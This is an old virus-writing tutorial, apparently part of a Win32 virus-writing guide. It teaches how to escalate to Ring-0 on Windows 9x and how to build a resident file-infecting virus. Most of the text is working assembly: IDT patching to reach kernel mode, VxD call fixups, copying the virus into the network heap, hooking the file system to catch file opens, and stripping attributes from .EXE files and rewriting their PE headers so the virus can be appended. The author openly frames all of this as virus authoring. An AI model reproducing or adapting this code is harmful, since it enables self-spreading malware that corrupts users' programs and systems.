.------------------------. | Simple Ring-0 tutorial | Billy Belceb£/DDT '------------------------'

Well, this is a part of another document i'm writing now. This part is the part that talks about Ring-0 in my future Virus Writing Guide For Win32. As you can think, it'll be as my DOS Virus Writing Guide: huge :) Prepare for have another tute in your PC. Anyway, as it isn't finished yet, and i saw the lack of tutes about Ring-0 in the e-zines nowadays (well, ppl that knowz to code a Ring-0 seems too lazy for explain it) i stripped this text from my own guide, and i'm presenting it here :) Well, here you have it. Enjoy! ;)

% Introduction % ----------------

Freedom! Don't ya love it? In Ring-0 we are outside the laws, nothing is restricted here. Due to the incompetence of Micro$oft we have lotsa ways for jump to the level where we theorically must not be able to jump. But, at least we can jump to it in Win9X systems (and in NT, as i heard) :) The fool ppl at Micro$oft left unprotected the interrupt table, for example. This is a huge security fail in my eyes. But what the fuck, if we can code a virus using it, it's kewl! ;)

% Accessing Ring-0 % --------------------

Well, i'm gonna explain the simplest method under my viewpoint, that is, the IDT modification. The IDT (Interrupt Descriptor Table) ain't in a fixed address, so we must use an instruction for locate it, that is SIDT.

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 SIDT - Store Interrupt Descriptor Table (286+ privileged)
        Usage:  SIDT    dest
        Modifies flags: none
        Stores the Interrupt Descriptor Table (IDT) Register into the
        specified operand.
                                 Clocks                 Size
        Operands         808X  286   386   486          Bytes
        mem64              -    12    9     10            5

        0F 01 /1 SIDT m Store IDTR to m
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

If after that ain't clear for what we use SIDT, it just puts the FWORD offset (WORD:DWORD format) of where the IDT is. And, if we know where the IDT is located, we can modify the interrupt vectors, and make them point to our code. That shows you the lameness of Micro$oft coderz. Let's continue our work. After changing vectors to point to our code (and save them for their later restore) we have only to call the interrupt we hooked. If it seems unclear for you now, there goes a little code that jumpz to Ring-0 by means of modifying the IDT.

;---[ CUT HERE ]-------------------------------------------------------------

        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

Interrupt        equ     01h            ; Nothing special

        .data

 szTitle         db      "Ring-0 example",0                 
 szMessage       db      "I'm alive and kicking ass",0

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; Well, this stuph is quite clear for you now, isn't it? :)                ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

        .code

 start:
        push    edx
        sidt    [esp-2]                 ; Interrupt table to stack
        pop     edx
        add     edx,(Interrupt*8)+4     ; Get interrupt vector

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; This is preety simple. The SIDT, as i explained before, puts the address ;
 ; of the IDT in a memory address, and for our own simplycity, we use the   ;
 ; stack directly. That explains the POP that comes one instruction after,  ;
 ; that is supposed to load in the register where we POP (in this case EDX) ;
 ; the offset of the IDT. The line after is just for locate offset of the   ;
 ; interrupt we want. This is just as play with the IVT in DOS...           ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

        mov     ebx,[edx]
        mov     bx,word ptr [edx-4]     ; Whoot Whoot

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; Preety simple. It just saves EDX content in EBX for later restore        ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

        lea     edi,InterruptHandler

        mov     [edx-4],di
        ror     edi,16                  ; Move MSW to LSW
        mov     [edx+2],di

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; Had i said how many simple it is before? :) Here we out in EDI da offset ;
 ; of the new inteerupt handler, and the three lines after put that handler ;
 ; in the IDT. And why that ROR? Well, doesn't matter if ya use ROR, SHR or ;
 ; SAR, becoz it's just used for move  da MSW (More Significant Word) of da ;
 ; offset of the handler to the LSW (Less Significant Word), and then store ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

        push    ds                      ; Safety safety safety...
        push    es

        int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!

        pop     es
        pop     ds

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; Mmmm... interesting. I push DS and ES for security, preventing some rare ;
 ; fails, but it can work without it, believe me. As the interrupt is alre- ;
 ; and patched, there is nothing more to do now rather than put this int... ;
 ; AND WE ARE NOW IN RING0! The code continues in InterruptHandler label.   ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 
        mov     [edx-4],bx              ; Restore old interrupt values
        ror     ebx,16                  ; ROR, SHR, SAR... who cares?
        mov     [edx+2],bx

 back2host:
        push    00000000h               ; Sytle of MessageBox
        push    offset szTitle          ; Title of MessageBox
        push    offset szMessage        ; The message itself
        push    00000000h               ; Handle of owner

        call    MessageBoxA             ; The API call itself

        push    00000000h
        call    ExitProcess
        ret

 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
 ; Well, nothing more to do now besides restore the original Interrupt vec- ;
 ; tors, that we stored before in EBX. Kewl, isn't it? :) And then, we ret- ;
 ; urn code to the host. (Well, it's supposed to be that) ;)                ;
 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

 InterruptHandler:                       
        pushad

        ; Here goez yer code :)

        popad
        iretd                           

 end start

;---[ CUT HERE ]-------------------------------------------------------------

[* I know there are many ways to access to Ring-0, but this part of my Virus Writing Guide for Win32 will have them all (at least the ones we know nowadays: IDT method (that below), VMM inserting and Call Gate technique) *]

Well, now we can access to it. I think all ppl could do it, but now comes the question that comes to the normal-VX when accessed Ring-0 for the first time: Why do i do now?.

% Virus coding under Ring-0 % -----------------------------

Well, i love to begin lessons with a little algorithm, so here you have one of what we should do when coding a Ring-0 virus.

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 1. Test for OS running: If NT, skip virus and return directly to host.
 2. Jump to Ring-0 (IDT, VMM inserting or Call Gate technique)
 3. Execute interrupt, that contains the infection code.
    3.1. Get a place where put the virus resident (Allocate pages or in heap)
    3.2. Move the virus to it
    3.3. Hook the File System and save the old hook
         3.3.1. In the FS Hook, first of all save all parameters and fix ESP.
         3.3.2. Push parameterz
         3.3.3. Then check if system  is trying to open a file, if not, skip.
         3.3.4. If it's trying  to open, first convert  file  name to asciiz.
         3.3.5. Then check if it's an EXE file. If it isn't, skip infection.
         3.3.6. Open, read header, manipulate, write it again, append & close
         3.3.7. Call to the old hook
         3.3.8. Skip all returned parameters in ESP
         3.3.9. Return
    3.4. Return
 4. Restore old interrupt vectors
 5. Return control to host
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

The algorithm is a little bit large, anyway i could do it more general, but i prefer to go directly to the action. Ok, c'mon. Let's go.

Test OS when file running ------------------------'

Well, as there are some problems with da Ring-0 under NT (Super,solve them!) we must check the OS where we are, and return control to host if it's not a Win9X platform. Well, there are some ways to do it:

 - Use SEH
 - Check for the value in DS, for example.

Well, i suppose you know to play with SEH, right? I explained its usage in another article, so it's time to go and read it :) About the second possible thing to do, here is the code:

        mov     ax,ds 
        cmp     ax,137h
        jb      back2host

Well, it' s supposed to be DS>137 in Win9X enviroments. Btw, as you have noticed, this last method does the job, but SEH is not only for that. So, SEH occupies more bytes and makes more functions, and this last method is more optimized. Just choose what you want.

Jump to Ring-0 and execute interrupt -----------------------------------'

Well, the simplest way is the explained in Accesing Ring-0 part of this doc, so i won't talk more about this here :)

We are now in Ring-0... what to do? ----------------------------------'

Well, in Ring-0 instead of APIs we have VxD services. The VxD services are accessed in this form:

        int     20h
        dd      vxd_service

The vxd_service is placed in 2 words, the MSW indicates the VxD number, and the LSW indicates the function we call from that VxD. For example i will use VMM_PageModifyPermissions value:

        dd      0001000Dh
                '+++'+++--> Service  000Dh _PageModifyPermissions
                   '------> VxD      0001h VMM

So, for call it we must do something like this:

        int     20h
        dd      0001000Dh

Well, a very inteligent way of coding is to make a macro that do this automatic, and make the numbers to be in EQUates. But that's your choice. This values are fixed, so in Win95 and Win98 are the same. So don't worry, one of the good points that Ring-0 has is the fact that you don't need to search for an offset in kernel or something (as we made with APIs), because there is no need for it, must be hardcoded :)

Here i must note a VERY important thing that we should have clear when coding a Ring-0 virus: the int 20h and the address, the way i showed you to access to VxD functions, turns in memory to something like:

        call    dword ptr [VxD_Service] ; Call back to the service

Well, you can think that it is something silly, but it's very important and a real pain, because the virus gets copied to the host with those CALLs instead with the int and the dword of service's offset, and that makes the virus could only be executed in your own computer, not in another's :( Well, as all in life, this trouble has many solutions. One of them consists in, as Win95.Padania did, to create a procedure for fix it just after each VxD call. Another ways are: to make a table with all offsets to fix, do it dire- ctly, etc. Here goes my code, and you can see it implemented in my Garaipena virus:

 VxDFix:
        mov     ecx,VxDTbSz             ; Number of times to pass the routine
        lea     esi,[ebp+VxDTblz]       ; Pointer to table
 @lo0pz:lodsd                           ; Load current table offset in EAX
        mov     word ptr [ebp+eax],20CDh ; Put in that address 
        mov     edx,dword ptr [ebp+eax+08h] ; Get VxD Service value
        mov     dword ptr [ebp+eax+02h],edx ; And restore it 
        loop    @lo0pz                  ; Correct another
        ret

 VxDTblz        label   byte            ; Table with all offsets that have
        dd      (offset @@1)            ; a VxDCall.
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
        ; [...] all the rest of VxDCallz must be listed here :)

 VxDTbSz        equ     (($-offset VxDTblz)/4) ; Numbah of shitz

I hope you understood that every VxDCall we make must have its offset here. Oh, i almost forgot another important thing: how should your VxDCall macro look like if you are using my VxDFix procedure. Here you have:

 VxDCall macro  VxDService              
        local   @@@@@@
        int     20h                     ; CD 20                 +00h
        dd      VxDService              ; XX XX XX XX           +02h
        jmp     @@@@@@                  ; EB 04                 +06h
        dd      VxDService              ; XX XX XX XX           +08h
 @@@@@@:
        endm

Ok. Now we need a place where go resident. I personally prefer in the net heap, because it is very simple to code (lazyness rules!).

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 **     IFSMgr_GetHeap - Allocate a chunk of the net heap
 
        This service is not valid until IFSMgr performs SysCriticalInit.
 
        This procedure uses the C6 386 _cdecl calling sequence
 
  Entry TOS - Size required
  Exit  EAX - address of heap chunk.  0 if failure
  Uses  C registers  (eax, ecx, edx, flags)
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Well, that was some Win95 DDK info. Let's put an example of this:

 InterruptHandler:
        pushad                          ; Push all reggies

        push    virus_size+1024         ; Memory we want (virus_size+buffer)
                                        ; As you maybe use buffers, better
                                        ; add more bytes to it.
 @@1:   VxDCall IFSMgr_GetHeap
        pop     ecx

Is it clear now? Well, as DDK says, it will return us 0 in EAX if it fails, so check for possible fails. The POP that comes after is VERY important, because most of the VxD services doesn't fix the stack, so the value we pushed before call the VxD function is still in stack.

        or      eax,eax                 ; cmp eax,0
        jz      back2ring3

If function was succesful, we have in EAX the address where we must move the virus body, so let's go.

        mov     byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

        mov     edi,eax                 ; Where move virus
        lea     esi,ebp+start           ; What to move
        push    eax                     ; Save memory address for later
        sub     ecx,1024                ; We move only virus_size
        rep     movsb                   ; Move virus to its TSR location ;)
        pop     edi                     ; Restore memory address

Well, we have the virus in a memory address, ready for be TSR, right? And we have in EDI the address where the virus beginz in memory, so we can use it as delta offset for the next function :) Ok, we now need to hook the File System, right? Ok, there is a function that does the job. Surprised, right? Micro$oft engineers made the dirty work for us.

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 **     IFSMgr_InstallFileSystemApiHook - install a filesystem api hook
 
        This service installs a filesystem api hook for the caller. This
        hook is between the IFS manager and a FSD. So, the hooker gets to see
        any calls that the IFS manager makes to FSDs.
 
        This procedure uses the C6 386 _cdecl calling sequence
 
        ppIFSFileHookFunc
                IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
 
  Entry TOS - Address of function that is to be installed as the hook
 
  Exit  EAX - Pointer to variable containing the address of the previous
              hooker in this chain.
  Uses  C registers
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Is it clear? If not, i hope that you'd understand it seeing some code. Ok, let's hook FileSystem...

        lea     ecx,[edi+New_Handler]   ; (vir address in mem + handler offs)
        push    ecx                     ; Push it 

 @@2:   VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

        pop     ecx                     ; Don't forget this, guy
        mov     dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

 back2ring3:
        popad
        iretd                           ; return to Ring-3. Yargh

Well, we have seen the "setup" part of the Ring-0 virus thingy. Now, we must code the FileSystem handler :) Is simple, but not as you thought? :)

FileSystem Handler: the real fun!!! ----------------------------------'

Yeah, here is where resides the infection itself, but we have to make some thingies before go for it. Well, first of all, we must make a security copy of stack, that is to save ESP content to EBP register. After it, we should substract 20h bytes to ESP, in order to fix the stack pointer. Let's see sum code:

 New_Handler equ  $-(offset virus_start)
 FSA_Hook:
        push    ebp                     ; Save EBP content 4 further restorin
        mov     ebp,esp                 ; Make a copy of ESP content in EBP
        sub     esp,20h                 ; And fix the stack

Now, as our function is called by the system with some parameters, we should push them, as the original handle would do. Parameters to push go from EBP+08h until EBP+1Ch, both included.

        push    dword ptr [ebp+1Ch]     ; Push'em all!!!!!!!! :)
        push    dword ptr [ebp+18h]
        push    dword ptr [ebp+14h]
        push    dword ptr [ebp+10h]
        push    dword ptr [ebp+0Ch]
        push    dword ptr [ebp+08h]

Now we have all the parameters that we should push in the right place, so don't worry more about them. Now we must check for the IFSFN function you would like to manage. Here you have a little list with the most important:

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 ** IFS Function IDs passed to IFSMgr_CallProvider

 IFSFN_READ         equ         00h     ; read a file
 IFSFN_WRITE        equ         01h     ; write a file
 IFSFN_FINDNEXT     equ         02h     ; LFN handle based Find Next
 IFSFN_FCNNEXT      equ         03h     ; Find Next Change Notify
 IFSFN_SEEK         equ         0Ah     ; Seek file handle
 IFSFN_CLOSE        equ         0Bh     ; close handle
 IFSFN_COMMIT       equ         0Ch     ; commit buffered data for handle
 IFSFN_FILELOCKS    equ         0Dh     ; lock/unlock byte range
 IFSFN_FILETIMES    equ         0Eh     ; get/set file modification time
 IFSFN_PIPEREQUEST  equ         0Fh     ; named pipe operations
 IFSFN_HANDLEINFO   equ         10h     ; get/set file information
 IFSFN_ENUMHANDLE   equ         11h     ; enum file handle information
 IFSFN_FINDCLOSE    equ         12h     ; LFN find close
 IFSFN_FCNCLOSE     equ         13h     ; Find Change Notify Close
 IFSFN_CONNECT      equ         1Eh     ; connect or mount a resource
 IFSFN_DELETE       equ         1Fh     ; file delete
 IFSFN_DIR          equ         20h     ; directory manipulation
 IFSFN_FILEATTRIB   equ         21h     ; DOS file attribute manipulation
 IFSFN_FLUSH        equ         22h     ; flush volume
 IFSFN_GETDISKINFO  equ         23h     ; query volume free space
 IFSFN_OPEN         equ         24h     ; open file
 IFSFN_RENAME       equ         25h     ; rename path
 IFSFN_SEARCH       equ         26h     ; search for names
 IFSFN_QUERY        equ         27h     ; query  resource info (network only)
 IFSFN_DISCONNECT   equ         28h     ; disconnect from resource (net only)
 IFSFN_UNCPIPEREQ   equ         29h     ; UNC path based named pipe operation
 IFSFN_IOCTL16DRIVE equ         2Ah     ; drive based 16 bit IOCTL requests
 IFSFN_GETDISKPARMS equ         2Bh     ; get DPB
 IFSFN_FINDOPEN     equ         2Ch     ; open an LFN file search
 IFSFN_DASDIO       equ         2Dh     ; direct volume access
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Well, for our first thingy, the only function that interests us is 24h, that is, open. System calls to that function almost everytime, so no problem with it. Code for this is as simply as you can imagine :)

        cmp     dword ptr [ebp+0Ch],24h ; Check if system opening file
        jnz     back2oldhandler         ; If not, skip and return to old h.

Now begins the fun. We know here that system is requesting for file opening, so it's now our time. First of all, we should check if we are processing our own call... Simple, just add a little variable and it'll do the job with any problem. Btw, i almost forgot, get delta offset :)

        pushad
        call    ring0_delta             ; Get delta offset of this
 ring0_delta:
        pop     ebx
        sub     ebx,offset ring0_delta

        cmp     byte ptr [ebx+semaphore],00h ; Are we the ones requesting 
        jne     pushnback               ; the call?

        inc     byte ptr [ebx+semaphore] ; For avoid process our own calls
        pushad
        call    prepare_infection       ; We'll see this stuff later
        call    infection_stuff
        popad
        dec     byte ptr [ebx+semaphore] ; Stop avoiding :)

 pushnback:
        popad

Now i'll continue explaining about the handler itself, and after that i'll explain what i do in those routines, prepare_infection and infection_stuff. Well, we have just exit the routine we would process if the system was requesting a call, ok? Well, now we must code the routine that calls the old FileSystem hook. As you can remember (i assume you don't have alzheimer) we pushed all the parameters, so the only thing we should do now is to load in a register, doesn't matter what, the old address, and then call to that memory position. After that we add 18h to the ESP (for be able to get return address), and that's all. Well, you'll see it better with some code, so here you have:

 back2oldhandler:
        db      0B8h                    ; MOV EAX,imm32 opcode
 Old_Handler    equ  $-(offset virus_start)
        dd      00000000h               ; here goes the old handler.
        call    [eax]
        add     esp,18h                 ; Fix stack (6x4)
        leave                           ; 6 = num. paramz. 4 = dword size.
        ret                             ; Return

Infection preparations ---------------------'

Well, this is the aspect of the main brach of a Ring-0 code. Let's see now the Ring-0 coding details. Well, when we were in the hook handler, there were 2 calls, right? This is not required, but i made that for give more simplycity to the code, because i love to have things structured.

In the first call, that one i called prepare_infection, i only do one thing for only one reason. The name that system gave us the file name as parameter but we have one problem. System gave it to us in UNICODE, and it's unuseful by us as is. So, we need to convert that to ASCIIz, right? Well, we have a VxD service that does the job for us. Its name: UniToBCSPath. Here you have your beloved source code.

 prepare_infection:
        pushad                          ; Push all
        lea     edi,[ebx+fname]         ; Where to put ASCII file name
        mov     eax,[ebp+10h]   
        cmp     al,0FFh
        jz      wegotdrive
        add     al,"@"                  ; Generate drive name
        stosb
        mov     al,":"                  ; Add a :
        stosb
 wegotdrive:
        xor     eax,eax
        push    eax                     ; EAX = 0 -> Convert to ASCII
        mov     eax,100h
        push    eax                     ; EAX = Size of string to convert
        mov     eax,[ebp+1Ch]
        mov     eax,[eax+0Ch]           ; EAX = Pointer to string
        add     eax,4
        push    eax
        push    edi                     ; Push offset to file name

 @@3:   VxDCall UniToBCSPath

        add     esp,10h                 ; Skip parameters returnet
        add     edi,eax 
        xor     eax,eax                 ; Make string null-terminated
        stosb
        popad                           ; Pop all
        ret                             ; Return

The infection itself -------------------'

Well, here i'll tell you how to arrive just until the part you must adapt all the PE header and section header to the new values that infected file should have. But i won't explain how to manipulate them, not because i am lazy, just because this is a chapter for Ring-0 coding and not for PE infection. This part matches with the infection_stuff label in the code of the FileSystem hook. First we must check if the file we are about to manipulate is an .EXE or another uninteresting file. So first of all, we must search in the file name for the 0 value, that tells us the end of it. It is preety simple to code:

 infection_stuff:
        lea     edi,[ebx+fname]         ; Variable with the file name
 getend:
        cmp     byte ptr [edi],00h      ; End of filename?
        jz      reached_end             ; Yep
        inc     edi                     ; If not, search for another char
        jmp     getend
 reached_end:

We have now in EDI the 0 of the ASCIIz string, and as you know, it marks the end of the string, that is in this case, the file name. Well, now comes our main check, look if it is a .EXE file, and if it is not, skip infection. Well, we can also check for .SCR (Windows screensavers), and as you know, they are EXEcutables too... Well, it's your choice. Here you have some code:

        cmp     dword ptr [edi-4],"EXE." ; Look if extension is an EXE
        jnz     notsofunny

As you can see, i compared EDI-5. Understand it with a simple ASCIIz string example:

                   .-----> DWORD that we have to compare : "EXE."
                 .++.
 "C:\WINDOWS\SHIT.EXE",0
                 ||||  '-> EDI
                 |||'----> EDI-1
                 ||'-----> EDI-2
                 |'------> EDI-3
                 '-------> EDI-4

Well, now we know that file is an EXE file :) So, is time to remove its attributes, open file, modify the oportune fields, close file and restore attributes. All those functions are performed by another IFS service, that is IFSMgr_Ring0_FileIO. I haven't found documentation about the whole thing, anyway there is no need for it: within it there are A LOT of functions, as i said before, all functions we need for perform file infection and such like. Let's take a view to the numerical values passed in EAX to the VxD service IFSMgr_Ring0_FileIO:

 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
 ; Function definitions on the ring 0 apis function list:
 ; NOTE: Most functions are context independent unless explicitly stated
 ; i.e. they do not use the current thread context. R0_LOCKFILE is the only
 ; exception - it always uses the current thread context.

 R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
 R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current contxt
 R0_READFILE             equ     0D600h  ; Read a file, no context
 R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
 R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
 R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
 R0_CLOSEFILE            equ     0D700h  ; Close a file
 R0_GETFILESIZE          equ     0D800h  ; Get size of a file
 R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
 R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
 R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
 R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
 R0_RENAMEFILE           equ     05600h  ; Rename a file
 R0_DELETEFILE           equ     04100h  ; Delete a file
 R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
 R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
 R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
 R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write
 -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Charming functions, ain't them? :) If we take a look, it remembers us the DOS int 21h functions. But this is better :)

Well, let's save the old file attributes. As you can see, this function is inside the list i gave you before. We pass this parameter (4300h) in EAX for obtain the file attributes, in ECX. So, after that, we push it, and the file name, that is in ESI.

        lea     esi,[ebx+fname]         ; Pointer to file name
        mov     eax,R0_FILEATTRIBUTES   ; EAX = 4300h
        push    eax                     ; Save it goddamit
        VxDCall IFSMgr_Ring0_FileIO     ; Get attributes
        pop     eax                     ; Restore 4300h from stack
        jc      notsofunny              ; Something went wrong (?)

        push    esi                     ; Push pointer to file name
        push    ecx                     ; Push attributes

Now we must wipe them from the universe. No problem. The function for set file attributes is, as before in IFSMgr_Ring0_FileIO, but now is 4301h. As you can see this value is just as in DOS :)

        inc     eax                     ; 4300h+1=4301h :)
        xor     ecx,ecx                 ; No attributes sucker!
        VxDCall IFSMgr_Ring0_FileIO     ; Set new attributes (wipe'em)
        jc      stillnotsofunny         ; Error (?!)

We have a file without attributes waiting for us now... what should we do? Heh. I thought you were smarter. Let's open it! :) Well, as all in this part of the virus, we have to call IFSMgr_Ring0_FileIO, but now passing to it in EAX the value for open files, that is D500h. The parameters of this function are equal to the ones in INT 21h's function 6C00h (extended open):

 EAX = R0_OPENCREATFILE = D500h
 EBX = Flags
 ECX = Create attribute
 EDX = Action to do if file exists/doesn't exist
 ESI = Pointer to file name

        lea     esi,[ebx+fname]         ; Put in ESI the file name
        mov     eax,R0_OPENCREATFILE    ; EAX = D500h
        xor     ecx,ecx                 ; ECX = 0
        mov     edx,ecx
        inc     edx                     ; EDX = 1
        mov     ebx,edx
        inc     ebx                     ; EBX = 2
        VxDCall IFSMgr_Ring0_FileIO
        jc      stillnotsofunny         ; Shit.

        xchg    eax,ebx                 ; Optimize a bit, sucka! :)

Now we have in EBX the handle of the opened file, so it would be perfect if you don't use this register for anything until the file is closed, okay? :) Well, now it's your time to read the PE header of file, and store it (and manipulate), then update the header, and append the virus... Well, here i'll only explain how to arrive just to before the place where we have to handle properly the PE header, because it is another part of the document, and i don't want to be so much repetitive. Well, i'm gonna explain how to put in our buffer the PE header. It's preety easy: as you remember, the PE header begin just in the offset pointed by 3Ch (from BOF, ofc0z). Well, then we must read 4 bytes (this DWORD in 3Ch), and read again in the offset where it points, and this time, 400h bytes, enough for handle the whole PE header. As you could imagine, the function for read in files is included in the wonderful IFSMgr_Ring0_FileIO, and you can see the right function number in the table i gave you before, in R0_READFILE. The parameters passed to this function are the following:

 EAX = R0_READFILE = D600h
 EBX = File Handle
 ECX = Number of bytes to read
 EDX = Offset where we should read
 ESI = Where will go the read bytes

        call    inf_delta               ; If you  remember, we  had the delta
inf_delta:                              ; offset in EBX, but  after open  the
        pop     ebp                     ; file we have in EBX the file handle
        sub     ebp,offset inf_delta    ; so we have to calculate it again.

        mov     eax,R0_READFILE         ; D600h
        push    eax                     ; Save it for later
        mov     ecx,4                   ; Bytes to read, a DWORD
        mov     edx,03Ch                ; Where read (BOF+3Ch)
        lea     esi,[ebp+pehead]        ; There goez the PE header offzet
        VxDCall IFSMgr_Ring0_FileIO     ; The VxDCall itself

        pop     eax                     ; restore R0_READFILE from stack

        mov     edx,dword ptr [ebp+pehead] ; Where the PE header begins
        lea     esi,[ebp+header]        ; Where write the read PE header
        mov     ecx,400h                ; 1024 bytes, enough for all PE head.
        VxDCall IFSMgr_Ring0_FileIO

Now we have to see if the file we have just opened is a PE file, by seeing its marker. We have in ESI the pointer to the buffer where we put the PE header, so just compare the first DWORD in ESI for PE,0,0 (or simply PE by using WORD comparison) ;)

        cmp     dword ptr [esi],"EP"    ; Is it PE?
        jnz     muthafucka

Now you check for your previous infection, and if it was previously infected, just go to the precedures for close file and such like. As i said before, i will skip the code of modificating PE header, as it is assumed that you know how to do it. Well, imagine you have already modificated the PE header properly in the buffer (in my code, the variable is called header). It's time to write the new header in the PE file. The values that the registers should have are moreless the same than in R0_READFILE function. Well, anyway i'm gonna write them:

 EAX = R0_WRITEFILE = D601h
 EBX = File Handle
 ECX = Number of bytes to write
 EDX = Offset where we should write
 ESI = Offset of the bytes we want to write

        mov     eax,R0_WRITEFILE                ; D601h
        mov     ecx,400h                        ; write 1024 bytez (buffer)
        mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
        lea     esi,[ebp+header]                ; Data to write
        VxDCall IFSMgr_Ring0_FileIO

